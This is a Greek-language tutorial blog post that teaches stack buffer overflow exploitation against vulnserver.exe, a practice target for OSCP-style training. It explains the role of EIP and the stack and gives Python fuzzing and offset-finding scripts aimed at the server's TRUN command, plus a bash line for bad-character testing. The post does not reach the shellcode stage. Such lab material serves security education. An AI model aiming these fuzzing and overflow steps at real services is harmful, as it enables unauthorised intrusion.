*Αυτό το άρθρο γράφτηκε από άνθρωπο.

Εισαγωγή

Δώστε σε κάποιον ένα hack και θα τον ταΐσετε για μια μέρα. Διδάξτε κάποιον να χακάρει και τον ταΐζετε για μια ζωή — ή κάτι τέτοιο.

Αν είστε σαν εμένα, δεν θέλετε να μάθετε απλά πώς να χακάρετε. Θέλετε επίσης να κατανοήσετε σε βάθος πώς λειτουργούν οι εσωτερικοί μηχανισμοί ενός υπολογιστή, αλλά θέλετε να το αποκτήσετε χωρίς να κολλάτε στην τεχνική γλώσσα.

(Τελικά, το OSCP είναι μια εισαγωγική εξέταση, σωστά; Τι συμβαίνει λοιπόν με όλα τα paywalls πληροφοριών και τα τρελά περίπλοκα αγγλικά;)

Σε αυτό το άρθρο θα εξηγήσω πώς να εκτελέσετε μια βασική εκμετάλλευση υπερχείλισης στοίβας, παρόμοια με αυτά που εμφανίζονται στις αίθουσες OSCP, eCPPT και TryHackMe, ενώ θα εξηγήσω τους βαθύτερους μηχανισμούς που στην πραγματικότητα επιτρέπουν σε έναν επεξεργαστή υπολογιστή να είναι ευάλωτος σε εκμεταλλεύσεις.

Αυτό βασίζεται εξ ολοκλήρου στην προσωπική μου κατανόηση ως μαθητής Comp Sci, οπότε αν δεν τα έχω όλα καλά, μη διστάσετε να απευθυνθείτε.

Χωρίς άλλα μπλα, ας ξεκινήσουμε.

Σύντομο ιστορικό της υπερχείλισης buffer

Οι υπερχειλίσεις buffer ανακαλύφθηκαν για πρώτη φορά κάποια στιγμή στη δεκαετία του 1960, αλλά έγιναν ευρέως δημοφιλείς με την κυκλοφορία του ηλεκτρονικού περιοδικού Phrack Smashing the Stack for Fun and Profit που γράφτηκε από τον Aleph One τον Νοέμβριο του 1996.

Ωστόσο, το άρθρο του Aleph One δεν είναι η πρώτη φορά που η υπερχείλιση του buffer έλαμψε. Στη δεκαετία του 1980, το exploit χρησιμοποιήθηκε στο διαβόητο κακόβουλο λογισμικό που ονομάζεται Morris Worm, το οποίο δημιουργήθηκε από τον Robert Tappan Morris και έγινε pwned υπολογιστών για χάρη του pwnage, όταν το κακόβουλο λογισμικό ήταν πραγματικά διασκεδαστικό.

(Κανείς δεν το κάνει πια αυτό. [θόρυβοι λυγμών])

Πράγματα που πρέπει να γνωρίζετε — Τι είναι το buffer;

Ένα buffer είναι απλώς ένας χώρος στη μνήμη που έχει σχεδιαστεί για να κρατά μια σταθερή ποσότητα πληροφοριών.

Αυτές οι πληροφορίες μπορεί να είναι μια συμβολοσειρά. Ένα παράδειγμα συμβολοσειράς είναι μια πρόταση όπως, "Γεια, κόσμο!"

Παράδειγμα: Ένα πρόγραμμα μπορεί να μας ζητήσει το αγαπημένο μας δημητριακό παρέχοντας ένα buffer για την απάντησή μας. Εάν απαντήσουμε "Cheerios", αυτή η απάντηση αποθηκεύεται σε ένα buffer και στη συνέχεια υποβάλλεται σε επεξεργασία από το πρόγραμμα.

Πράγματα που πρέπει να γνωρίζετε Pt. 2 — Ανατομία της μνήμης

Η κατανόηση της βασικής ανατομίας της μνήμης είναι ένα ουσιαστικό πρώτο βήμα στην ανάπτυξη του exploit.

Εάν έχετε κατασκευάσει ποτέ έναν υπολογιστή, μπορεί να σκεφτείτε τη μνήμη ως αυτά τα δύο στικάκια που κάνετε κλικ στη μητρική σας πλακέτα (που ονομάζεται "κύρια μνήμη"), αλλά υπάρχει επίσης ενσωματωμένη μνήμη απευθείας στην κεντρική μονάδα επεξεργασίας του υπολογιστή.

Σε μια επίθεση υπερχείλισης buffer, αυτή είναι η μνήμη για την οποία κυρίως μιλάμε — η ενσωματωμένη μνήμη του επεξεργαστή. Αναφερόμαστε επίσης στην κύρια μνήμη, αλλά κυρίως στο πλαίσιο της στοίβας. Περισσότερα για αυτό αργότερα.

Η μνήμη CPU περιέχει καταχωρητές, οι οποίοι είναι μικρές, γρήγορες μονάδες αποθήκευσης που χρησιμοποιούνται για ενεργή λειτουργία σε πληροφορίες.

Κάθε ένα από αυτά τα μητρώα έχει ένα όνομα (ESP, EBP, EIP, κ.λπ.). Η εκμάθηση του τι κάνει καθένας από αυτούς είναι απαραίτητη για την κατανόηση της υπερχείλισης buffer.

Το πώς πραγματικά μοιάζει ένα πρόγραμμα στη μνήμη, όπως στη διάταξή του στο πλέγμα μνήμης, εξαρτάται από το λειτουργικό σύστημα που εκτελείτε. Μπορεί επίσης να εξαρτάται από τη γλώσσα προγραμματισμού που χρησιμοποιείτε (Python, C ή Go, για παράδειγμα) ή τον μεταγλωττιστή ή τον διερμηνέα που χρησιμοποιήθηκε.

Σε αυτό το σεμινάριο, θα γράψουμε ένα exploit υπερχείλισης buffer για το πρόγραμμα vulnserver.exe, έναν διακομιστή που έχει σχεδιαστεί για εξάσκηση στην ανάπτυξη exploit, γραμμένο στη γλώσσα C και τρέχει στα Windows 11, μεταγλωττισμένο με τον μεταγλωττιστή MinGW.

Τα ονόματα καταχωρητών που θα χρησιμοποιήσουμε είναι 32-bit (αρχιτεκτονική x86), επομένως όλα ξεκινούν με E (π.χ.: ESP, EBP, κ.λπ.). Σε x64 bit, θα ξεκινούσαν με Rs.

Ακολουθεί ένα παράδειγμα για το πώς μπορεί να μοιάζει η διάταξη μνήμης στο σενάριό μας (πρόγραμμα 32 bit, Windows 11, CPU Intel, μεταγλωττιστής MinGW). Ζήτησα από το ChatGPT να εμφανίσει ένα παράδειγμα δεκαεξαδικής διεύθυνσης και τον αντίστοιχο δεκαδικό αριθμό, που αντιπροσωπεύει τον ακριβή αριθμό byte στο πλέγμα, προκειμένου να δείξω πώς το δεκαεξαδικό αντιπροσωπεύει τον αριθμό των byte.

Λάβετε υπόψη ότι, στον πραγματικό κόσμο, τα μέρη ενός προγράμματος θα φορτωθούν σε διάφορους τύπους μνήμης, χωρισμένα μεταξύ της ενσωματωμένης μνήμης της CPU και της κύριας μνήμης (RAM), αλλά αυτό το διάγραμμα δεν το απεικονίζει.

Μην ανησυχείτε για το τι σημαίνουν όλα αυτά τα τμήματα. Σε αυτό το σεμινάριο υπερχείλισης buffer, αυτό που μας ενδιαφέρει είναι κυρίως δύο πράγματα: οι εγγραφές CPUκαι η στοίβα. Θα εξετάσουμε τι σημαίνουν και τα δύο.

Εγγραφές — Γιατί έχουν σημασία

Όπως αναφέρθηκε προηγουμένως, σε μια επίθεση υπερχείλισης buffer, η μνήμη που μας ενδιαφέρει περισσότερο είναι κομμάτια μνήμης που βρίσκονται απευθείας στον επεξεργαστή του υπολογιστή, όχι στην κύρια μνήμη (RAM), αν και αυτό είναι επίσης σημαντική.

Μέρος των στοιχείων μνήμης μιας CPU είναι η κρυφή μνήμη και τα μητρώα της.

Η κρυφή μνήμη είναι αυτό που χρησιμοποιεί η CPU για ανάκτηση προγράμματος πληροφοριών που πρέπει να προσπελάζονται γρήγορα και επανειλημμένα.

Τα μητρώα είναι μικρές, γρήγορες θέσεις αποθήκευσης που βρίσκονται απευθείας στον επεξεργαστή και χρησιμοποιούνται για πράγματα στα οποία γίνεται ενεργή επεξεργασία.

Ακολουθήστε αυτήν την αναλογία: Είναι σαν να βάζετε υλικά στο ψυγείο σας έναντι του πάγκου σας έναντι του ξύλου κοπής. Οι σανίδες κοπής σας θα είναι σαν τις μητρώες, που χρησιμοποιούνται για να συγκρατούν τιμές που χρησιμοποιούνται αυτήν τη στιγμή. Η κρυφή μνήμη σας θα ήταν σαν τους πάγκους σας, στους οποίους είναι ακόμα πιο εύκολο να φτάσετε από το άνοιγμα του ψυγείου, αλλά δεν εργάζεστε ενεργά σε αυτό. Η κύρια μνήμη μοιάζει περισσότερο με το ψυγείο.

Ακολουθούν ορισμένα ονόματα καταχωρητών (αγνοήστε τα υπόλοιπα προς το παρόν, εκτός από το ESP και το EIP):

Ο καταχωρητής EIP παρουσιάζει ιδιαίτερο ενδιαφέρον σε μια εκμετάλλευση υπερχείλισης buffer. Αυτό συμβαίνει επειδή έχει σχεδιαστεί για να είναι δείκτης εντολών, που σημαίνει ότι κρατά τη διεύθυνση μνήμης για την επόμενη εντολή που θα εκτελεστεί.

Βλέπεις πού πάει αυτό;

Εάν μπορούμε να ξεχειλίσουμε το buffer με αρκετό κείμενο ώστε να φτάσουμε στο EIP, μπορούμε να γράψουμε μια εντολή στο EIP που το αναγκάζει να δείχνει πίσω σε κακόβουλο κώδικα και στη συνέχεια να τον εκτελέσει.

[παύση]

[κακό γέλιο]

Εντάξει, διάλειμμα για καφέ.

Γιατί λειτουργεί

Καλως ορισες πισω.

Εάν δεν είστε προγραμματιστής exploit, πιθανότατα αναρωτιέστε πώς λειτουργούν τα exploit γενικά.

Τα exploits λειτουργούν επειδή οι επεξεργαστές υπολογιστών έχουν ένα ενδιαφέρον εγγενές χαρακτηριστικό: Δεν μπορούν να διακρίνουν μεταξύ δεδομένων και οδηγιών.

Όπως το έθεσε το Εγχειρίδιο Shellcoder, "Εάν ένας επεξεργαστής μπορεί να λάβει οδηγίες όταν θα έπρεπε να βλέπει δεδομένα, θα προχωρήσει ευχαρίστως να εκτελέσει τις οδηγίες που έχει περάσει".

Τι τώρα;

Με τις παραπάνω γνώσεις, μπορούμε να δούμε αναλυτικά τα βασικά βήματα μιας υπερχείλισης buffer:

  1. Εύρεση ενός ευάλωτου buffer — Αυτό το κάνουμε στέλνοντας μια δέσμη δεδομένων απορριμμάτων σε όλες τις παραμέτρους εισόδου του προγράμματος μέχρι να διακοπεί το πρόγραμμα. Αν αναλύσουμε την έξοδο σε ένα πρόγραμμα εντοπισμού σφαλμάτων και το κείμενο σκουπιδιών έχει χυθεί πέρα ​​από ένα από τα buffer, αυτό το buffer μπορεί να είναι ευάλωτο.
  2. Υπολογίστε εάν μπορούν να εισαχθούν αρκετά δεδομένα σε αυτό το buffer για την αντικατάσταση του EIP — Όπως σημειώθηκε παραπάνω, αυτός είναι ο καταχωρητής που είναι υπεύθυνος για τη μετάβαση του προγράμματος στην επόμενη εντολή που θα εκτελεστεί. Το να ξεπεράσουμε το buffer δεν αρκεί — πρέπει να πάρουμε τον έλεγχο της ροής εκτέλεσης του προγράμματος.
  3. Δημιουργήστε μια κακόβουλη εντολή και αναγκάστε το EIP να υποδείξει πίσω σε αυτήν την εντολή και στη συνέχεια να την εκτελέσει — Όπως για παράδειγμα, "συνδεθείτε στο μηχάνημα εισβολέα στη διεύθυνση IP 192.168.1.25 στη θύρα 4444".

Εύρεση ευάλωτου buffer — Θολή

Για να βρούμε ένα ευάλωτο buffer, μπορούμε να εκτελέσουμε μια τεχνική που ονομάζεται fuzzing.

Αυτό ουσιαστικά αποστέλλει αυθαίρετα δεδομένα ή εσφαλμένα δεδομένα σε ένα buffer για να δούμε αν είναι ευάλωτο.

Για να ξεκινήσετε το fuzzing στο vulnserver.exe, μπορείτε να ρυθμίσετε το vulnserver.exe σε μια εικονική μηχανή Windows 10 ή 11 μέσω του Virtualbox ή άλλου παρόμοιου υπερεπόπτη VM. Μπορείτε να κατεβάσετε το δυαδικό vulnserver εδώ.

Το επόμενο βήμα που θα θέλετε να κάνετε είναι να ανοίξετε το Immunity Debugger ως διαχειριστής. Το Immunity μπορείτε να το κατεβάσετε εδώ.

Μετά από αυτό, ανοίξτε το vulnserver.exe, επίσης ως διαχειριστής (μην ξεχάσετε να συμπεριλάβετε το αρχείο essfunc.dll στον ίδιο κατάλογο με το πρόγραμμα vulnserver.exe). Συνδέστε το στο Immunity και, στη συνέχεια, πατήστε το κόκκινο βέλος στο Immunity για να εκτελέσετε το πρόγραμμα ζωντανά στο πρόγραμμα εντοπισμού σφαλμάτων (ο διακομιστής vuln δεν θα ανταποκριθεί σε εντολές εάν δεν το κάνετε αυτό).

(Για να ελέγξετε αν το πρόγραμμα εκτελείται, ανοίξτε το τερματικό στα Windows και πληκτρολογήστε:

netstat -ano

Κάντε κύλιση προς τα πάνω για να βεβαιωθείτε ότι η θύρα 9999 βρίσκεται σε κατάσταση ακρόασης.)

Συνέχεια στο Βήμα 1 της ασάφειας

Για να θολώσουμε το πρόγραμμα, μπορούμε να χρησιμοποιήσουμε το εργαλείο generic_send_tcp που μας παρέχεται με το Kali Linux. Αυτό είναι μέρος της σουίτας εργαλείων "spike" της Kali: https://www.kali.org/tools/spike/

Εναλλακτικά, μπορείτε να δημιουργήσετε το δικό σας απλοϊκό σενάριο fuzzing, το οποίο θα κάνω στην Python2 με τη βοήθεια AI. Μπορείτε να το μετατρέψετε στη γλώσσα που προτιμάτε.

Μόλις ενεργοποιήσετε τον διακομιστή vulnserver, πληκτρολογήστε από το μηχάνημα εισβολέα (Kali):

nc <vulnserver ip> 9999

Θα πρέπει να σας χαιρετήσει με ένα μήνυμα.

Για ευκολία αυτού του σεμιναρίου, θα αποκαλύψω ότι η εντολή TRUN είναι η ευάλωτη εντολή εδώ. Συνήθως, θα χρησιμοποιούσαμε ένα σενάριο fuzzing σε κάθε διαθέσιμη εντολή με τη σειρά.

(Σημείωση: Έχω επιλέξει την Python2 για τα παραδείγματά μου επειδή η Python3 χρειάζεται μια ειδική μορφή για την αποστολή bytes σε μια υποδοχή, στην οποία δεν θα μπω).

Εδώ είναι το συγκλονιστικό μου σενάριο με σχόλια, το οποίο μπορείτε να αντιγράψετε:

#!/usr/bin/python2

import sys
import socket
from time import sleep

# Create a buffer payload that consists of 100 A chars
buffer = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # Initialize a socket in order to connect to vulnserver. AF_INET is Ipv4, and SOCK_STREAM specifies use a port
        s.connect(('192.168.1.25', 9999))

        s.send('TRUN .' + buffer) # Send the TRUN command to the program via the created socket, followed by some padding, a period "." and then the payload (a bunch of As)
        s.close()  # Close the connection
        sleep(1)
        buffer = buffer + "A" * 100  # Incrementally increase the size of the buffer by 100 characters and keep sending it after "TRUN ." forever

    except Exception as e:
        print "Fuzzing crashed at {} bytes".format(len(buffer))
        print "Error message: {}".format(str(e))
        sys.exit()

Αυτό το σενάριο θα στείλει 100 χαρακτήρες A στην εντολή "TRUN" στο vulnserver.exe και θα αυξήσει τον αριθμό των χαρακτήρων κατά 100 επιπλέον χαρακτήρες μέχρι να διακοπεί το πρόγραμμα.

Πριν εκτελέσετε το σενάριο, πάλι, βεβαιωθείτε ότι το Immunity Debugger είναι συνδεδεμένο στον vulnserver και ότι εκτελείται.

Αποτελέσματα:

Εάν είστε νέοι στα προγράμματα εντοπισμού σφαλμάτων ή στη συναρμολόγηση, αυτό πιθανότατα σας μοιάζει με χάος.

Θυμηθείτε απλώς ότι κάθε δεκαεξαδική διεύθυνση αντιστοιχεί σε μία διεύθυνση μνήμης, η οποία είναι, σε αυτήν την περίπτωση, τέσσερα byte μνήμης (εξ ου και τα 4 A σε κάθε διεύθυνση, καθώς ένας χαρακτήρας ASCII έχει μήκος ένα byte).

Εάν αφήσουμε το σενάριο fuzzing να τρέξει αρκετά, το πρόγραμμα vulnserver.exe θα σταματήσει (κάτω δεξιά γωνία στο πρόγραμμα εντοπισμού σφαλμάτων).

Όπως μπορείτε να δείτε στο παράθυρο "Εγγραφές" (επάνω δεξιά), έχουμε αντικαταστήσει το EIP με χαρακτήρες A, που παριστάνονται σε εξάγωνο ως τέσσερις σαράντα ένα (41414141). Αυτό είναι το ίδιο μητρώο που επεσήμανα νωρίτερα στο διάγραμμα:

Το EIP, όπως εξηγεί η περιγραφή, είναι ένας τύπος καταχωρητή που διαβάζει μια διεύθυνση μνήμης, μεταβαίνει σε αυτήν τη διεύθυνση και εκτελεί όποια εντολή υπάρχει.

Το έχουμε αντικαταστήσει με χαρακτήρες Α.

Είδες που πάμε;

Εάν το EIP μεταβεί στην επόμενη εντολή που θα εκτελεστεί, τι θα συμβεί αν μπορούμε να κάνουμε το EIP να δείξει κάπου κακόβουλο, ας πούμε, κάποιον κακόβουλο κώδικα που εισάγουμε στο πρόγραμμα;

Σημειώστε επίσης ότι έχουμε αντικαταστήσει το ESP, το οποίο είναι ο δείκτης που δείχνει στην κορυφή της στοίβας.

Η στοίβα είναι μια δομή δεδομένων που χρησιμοποιούν τα προγράμματα και η οποία διατηρεί τιμές σε μορφή LIFO (Last In First Out), έτσι ώστε ο υπολογιστής να έχει πρόσβαση σε καθεμία όταν τη χρειάζεται.

Το LIFO σημαίνει απλώς ότι όποια και αν ήταν η τελευταία τιμή που έπρεπε να τοποθετηθεί στη στοίβα (όπως μια στοίβα πλάκες, για παράδειγμα) είναι το πρώτο πράγμα που πρέπει να αφαιρεθεί, που σημαίνει ότι βρίσκεται στη διεύθυνση μνήμης που είναι πιο κοντά στον επεξεργαστή.

Αυτό σημαίνει ότι μπορούμε να εισαγάγουμε τον δικό μας κώδικα στη στοίβα και να προσπαθήσουμε να κάνουμε το EIP να δείχνει στη στοίβα και να εκτελέσουμε ό,τι υπάρχει.

Αυτό, στην ουσία, είναι μια υπερχείλιση στοίβας.

Τώρα το μόνο που έχουμε να κάνουμε τώρα είναι να γράψουμε το exploit, σωστά;

Λοιπόν, όχι, και αυτός είναι ο λόγος που αυτό το άρθρο είναι τόσο μεγάλο. :(

[περισσότεροι θόρυβοι λυγμού]

Εύρεση της μετατόπισης

Μέχρι στιγμής, έχουμε προσδιορίσει την εντολή TRUN ότι έχει ένα buffer δυνητικά ευάλωτο σε μια εκμετάλλευση υπερχείλισης στοίβας. Αυτό συμβαίνει επειδή το πρόγραμμα χάλασε όταν το θολώσαμε, αλλά και επειδή έχουμε αντικαταστήσει εμφανώς το EIP.

Το επόμενο βήμα είναι ναμετρήσετε το ακριβές μέγεθος του buffer που απαιτείται για την αντικατάσταση του EIP.

Με αυτόν τον τρόπο, μπορούμε να τοποθετήσουμε τέλεια την εντολή άλματος μέσα στα τέσσερα byte του EIP και να κάνουμε το EIP να μεταπηδήσει σε κακόβουλες οδηγίες και να τις εκτελέσει. (Θυμηθείτε πώς ένας επεξεργαστής θα εκτελέσει οδηγίες όπου τις δει, ακόμα κι αν υποτίθεται ότι βλέπει δεδομένα — αυτός είναι ο λόγος για τον οποίο πρέπει να ελέγχουμε τη ροή εκτέλεσης του προγράμματος, ώστε να μπορούμε να αναγκάσουμε τον επεξεργαστή να δει τις οδηγίες μας) .

Για να γίνει αυτό, μπορούμε να στείλουμε στον vulnserver μεγάλες συμβολοσειρές χαρακτήρων που είναι μοναδικοί και μη επαναλαμβανόμενοι. Με αυτόν τον τρόπο, μπορούμε να δούμε ακριβώς ποιοι χαρακτήρες έχουν αντικαταστήσει το EIP και στη συνέχεια να μετρήσουμε τον αριθμό των προηγούμενων byte που απαιτούνται για να αγγίξουμε την αρχή του EIP.

Μπορούμε να δημιουργήσουμε μια συμβολοσειρά κατάλληλη για αυτήν την εργασία χρησιμοποιώντας το σενάριο pattern_create.rb του Metasploit.

Εάν τροποποιήσουμε το σενάριο υπερχείλισης δημιουργώντας ένα αντίγραφό του και αντικαθιστώντας το As' με τη συμβολοσειρά 3000 μοναδικών χαρακτήρων-μοτίβου, μπορούμε να υπολογίσουμε την ακριβή τοποθεσία του EIP:

#!/usr/bin/python2

import sys
import socket
from time import sleep


buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.1.25', 9999))

        s.send(('TRUN .' + buffer).encode())
        s.close()
        sleep(1)
        buffer += "A" * 100

    except Exception as e:
        print("Fuzzing crashed at {} bytes".format(len(buffer)))
        print("Error message: {}".format(str(e)))
        sys.exit()

Αποτελέσματα:

Ένα κοντινό πλάνο αυτού που ψάχνουμε:

Όπως μπορείτε να δείτε στο παράθυρο Μητρώα (πάνω δεξιά), έχουμε αντικαταστήσει ξανά το EIP, αλλά αυτή τη φορά υπάρχει μια μοναδική τιμή μέσα σε αυτό (396F4338). Μπορούμε να υπολογίσουμε τη μετατόπιση αυτής της τιμής σε σχέση με την υπόλοιπη συμβολοσειρά επικολλώντας τα περιεχόμενα του EIP σε αυτό το script:

Το πρώτο byte του EIP βρίσκεται στο τέλος του 2006 byte.

Δοκιμή για κακούς χαρακτήρες

Τώρα που έχουμε αποτελεσματικό έλεγχο στο EIP, το επόμενο μέρος της στρατηγικής μας είναι να κάνουμε το EIP να υποδείξει κακόβουλο κώδικα.

Εφόσον η αρχική μας συμβολοσειρά ωφέλιμου φορτίου As πέρασε στο ESP και στη στοίβα, μπορούμε να εισαγάγουμε τον κακόβουλο κώδικα στο ESP.

Μέσα στο EIP, μπορούμε στη συνέχεια να του πούμε να μεταβεί στην αρχή του ESP και να το αναγκάσουμε να δει τις οδηγίες μας.

Ωστόσο, πριν το κάνουμε αυτό, πρέπει να κάνουμε δύο πράγματα: να ελέγξουμε το ESP για να δούμε αν ανταποκρίνεται σε τυχόν "κακούς χαρακτήρες" και, στη συνέχεια, να δούμε αν υπάρχουν μηχανισμοί ασφαλείας κατά της εκμετάλλευσης (μπορείτε επίσης να αντιστρέψετε αυτά τα βήματα).

Το ακόλουθο σενάριο θα ελέγξει εάν κάποιοι χαρακτήρες ASCII αναγνωρίζονται από το πρόγραμμα ως οτιδήποτε άλλο εκτός από χαρακτήρες. Εάν συμβαίνει αυτό, θα εμποδίσει την εκτέλεση του shellcode μας, επειδή το πρόγραμμα θα νομίζει ότι του δίνουμε μια συγκεκριμένη εντολή. Ένα κλασικό παράδειγμα είναι το null byte (που αντιπροσωπεύεται από \x00 σε hex) που συνήθως λέει στον μεταγλωττιστή ότι έχει φτάσει στο τέλος μιας συμβολοσειράς.

Μπορείτε να αφαιρέσετε το null byte από τη δοκιμή μας, καθώς αυτός είναι αυτόματα κακός χαρακτήρας. Δεν θέλουμε αυτό να παρεμβαίνει στις κακόβουλες οδηγίες μας.

Ακολουθεί μια λίστα με κακούς χαρακτήρες γραμμένους σε μια μορφή στην οποία μπορεί να κατανοήσει ο επεξεργαστής, την οποία μπορείτε να αποκτήσετε μέσω μιας εντολής bash και στη συνέχεια να επικολλήσετε στο ωφέλιμο φορτίο σας:

for i in {0..255}; do printf "\\\x%02x" $i;done
